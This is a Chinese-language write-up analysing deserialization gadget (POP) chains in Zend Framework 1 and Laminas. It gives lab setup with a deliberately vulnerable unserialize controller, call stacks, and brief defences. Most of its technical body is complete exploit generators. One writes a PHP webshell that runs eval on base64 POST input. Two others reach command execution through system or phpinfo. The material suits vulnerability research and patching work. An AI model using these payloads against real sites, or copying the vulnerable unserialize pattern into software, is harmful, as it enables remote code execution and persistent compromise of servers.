Zend FrameWork Pop Chain
字数 1153 2025-08-18 17:33:25
Zend Framework 反序列化漏洞分析与利用
前言
本文详细分析 Zend Framework 1 和 Laminas(Zend Framework 最新版)中的反序列化漏洞链(POP chains),包括漏洞原理、利用方法以及防御措施。
1. Zend Framework 1 反序列化链分析
1.1 环境搭建
-
从 GitHub 下载 Zend Framework 1 源码:
https://github.com/zendframework/zf1 -
创建项目:
zf create project web1 -
将 library/Zend 目录移动到 web1/library 中
-
修改控制器文件 application/controllers/IndexController.php:
class IndexController extends Zend_Controller_Action { public function indexAction() { unserialize(base64_decode($_POST['Mrkaixin'])); return "Mrkaixin"; } }
1.2 主要POP链分析
调用栈:
Callback.php:150, Zend_Filter_Callback->filter()
Inflector.php:473, Zend_Filter_Inflector->filter()
Layout.php:780, Zend_Layout->render()
Mail.php:371, Zend_Log_Writer_Mail->shutdown()
Log.php:366, Zend_Log->__destruct()
IndexController.php:14, IndexController->indexAction()
漏洞点分析:
- 入口点在
Zend_Log::__destruct(),它遍历$this->_writers并调用其中对象的shutdown()方法 - 使用
Zend_Log_Writer_Mail的shutdown()方法 - 关键点在于两个
filter()函数的调用链,最终导致create_function()的命令注入
1.3 其他利用链 - 写Shell
调用栈:
File.php:464, Zend_CodeGenerator_Php_File->write()
Yaml.php:104, Zend_Config_Writer_Yaml->render()
Mail.php:371, Zend_Log_Writer_Mail->shutdown()
Log.php:366, Zend_Log->__destruct()
利用原理:
- 通过
Zend_Config_Writer_Yaml::render()中的call_user_func($this->getYamlEncoder(), $data) - 利用可变函数特性,使
$this->getYamlEncoder()返回数组[对象, 方法名] - 调用
Zend_CodeGenerator_Php_File::write()写入任意PHP代码
利用代码:
class Zend_Mail {}
class Zend_Log {
protected $_writers;
function __construct() {
$this->_writers = [new Zend_Log_Writer_Mail()];
}
}
class Zend_Log_Writer_Mail {
protected $_eventsToMail = [1];
protected $_mail;
protected $_layoutEventsToMail = "";
protected $_layout;
function __construct() {
$this->_mail = new Zend_Mail();
$this->_layout = new Zend_Config_Writer_Yaml();
}
}
class Zend_CodeGenerator_Php_File {
protected $_filename = "a.php";
protected $_body = '@eval(base64_decode($_POST["Mrkaixin"]));';
}
class Zend_Config {
protected $_data = [];
protected $_loadedSection = "Mrkaixin";
protected $_extends = "Mrkaixin";
}
class Zend_Config_Writer_Yaml {
protected $events = "Mrkaixin";
protected $_config;
protected $_yamlEncoder;
function __construct() {
$this->_config = new Zend_Config();
$this->_yamlEncoder = [new Zend_CodeGenerator_Php_File(), 'write'];
}
}
echo base64_encode(serialize(new Zend_Log()));
2. Laminas 反序列化链分析
2.1 环境搭建
-
创建项目:
composer create-project -sdev laminas/laminas-mvc-skeleton my-application -
安装日志组件:
Would you like to install logging support? y -
设置反序列化点(module/Application/src/Controller/IndexController.php):
public function evilAction() { unserialize(base64_decode($this->params()->fromPost('data'))); } -
访问URL:
http://your-ip/public/index.php/application/evil
2.2 POP链分析
调用栈:
AbstractInjector.php:379, Laminas\ComponentInstaller\Injector\ApplicationConfigInjector->remove()
PhpRenderer.php:396, call_user_func_array()
PhpRenderer.php:396, Laminas\View\Renderer\PhpRenderer->__call()
Mail.php:191, Laminas\View\Renderer\PhpRenderer->setBody()
Mail.php:191, Laminas\Log\Writer\Mail->shutdown()
Logger.php:220, Laminas\Log\Logger->__destruct()
2.3 其他利用方式
2.3.1 RCE 利用1
namespace Zend\View\Renderer;
use Zend\Config\Config;
class PhpRenderer {
function __construct() {
$this->__helpers = new Config();
}
}
namespace Zend\Config;
class Config {
protected $data = [];
function __construct() {
$this->data = ['shutdown' => "phpinfo"];
}
}
namespace Zend\Log;
use Zend\View\Renderer\PhpRenderer;
class Logger {
protected $writers;
function __construct() {
$this->writers = [new PhpRenderer()];
}
}
echo base64_encode(serialize(new Logger()));
2.3.2 RCE 利用2
namespace Laminas\View\Resolver {
class TemplateMapResolver {
protected $map = ["setBody" => "system"];
}
}
namespace Laminas\View\Renderer {
class PhpRenderer {
private $__helpers;
function __construct(){
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}
namespace Laminas\Log\Writer {
abstract class AbstractWriter {}
class Mail extends AbstractWriter {
protected $eventsToMail = ["ls"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}
namespace Laminas\Log {
class Logger {
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}
namespace {
$a = new \Laminas\Log\Logger();
echo base64_encode(serialize($a));
}
3. 防御措施
- 避免反序列化用户可控的数据
- 升级到最新版本:
- Laminas-log 2.11 及以上版本修复了相关漏洞
- 使用 PHP 的
unserialize_callback_func配置或实现__wakeup()方法进行安全检查 - 考虑使用 JSON 等更安全的序列化格式替代 PHP 原生序列化
4. 总结
Zend Framework 及其后继者 Laminas 中存在多个反序列化漏洞链,攻击者可以利用这些链实现 RCE 或文件写入。开发者应当警惕反序列化操作,并采取适当的安全措施。